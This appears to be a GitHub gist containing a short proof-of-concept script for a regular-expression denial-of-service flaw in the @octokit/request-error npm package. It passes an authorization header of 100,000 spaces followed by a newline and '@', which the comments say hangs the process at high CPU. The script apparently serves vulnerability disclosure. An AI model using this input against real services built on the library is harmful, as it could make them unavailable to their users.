Skip to content

Instantly share code, notes, and snippets.

@ShiyuBanzhou
Created February 9, 2025 11:26
Show Gist options
  • Save ShiyuBanzhou/e1203ad22701fd043b8501eb37676a0d to your computer and use it in GitHub Desktop.
Save ShiyuBanzhou/e1203ad22701fd043b8501eb37676a0d to your computer and use it in GitHub Desktop.
ReDos in @octokit/request-error
import { RequestError } from "@octokit/request-error";
const error = new RequestError("Oops", 500, {
request: {
method: "POST",
url: "https://api.github.com/foo",
body: {
bar: "baz",
},
headers: {
authorization: ""+" ".repeat(100000)+"\n@",
},
},
response: {
status: 500,
url: "https://api.github.com/foo",
headers: {
"x-github-request-id": "1:2:3:4",
},
data: {
foo: "bar",
},
},
});
// 1. run npm i @octokit/request-error
// 2. run 'node poc.js'
// result:
// 3. then the program will stuck forever with high CPU usage
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment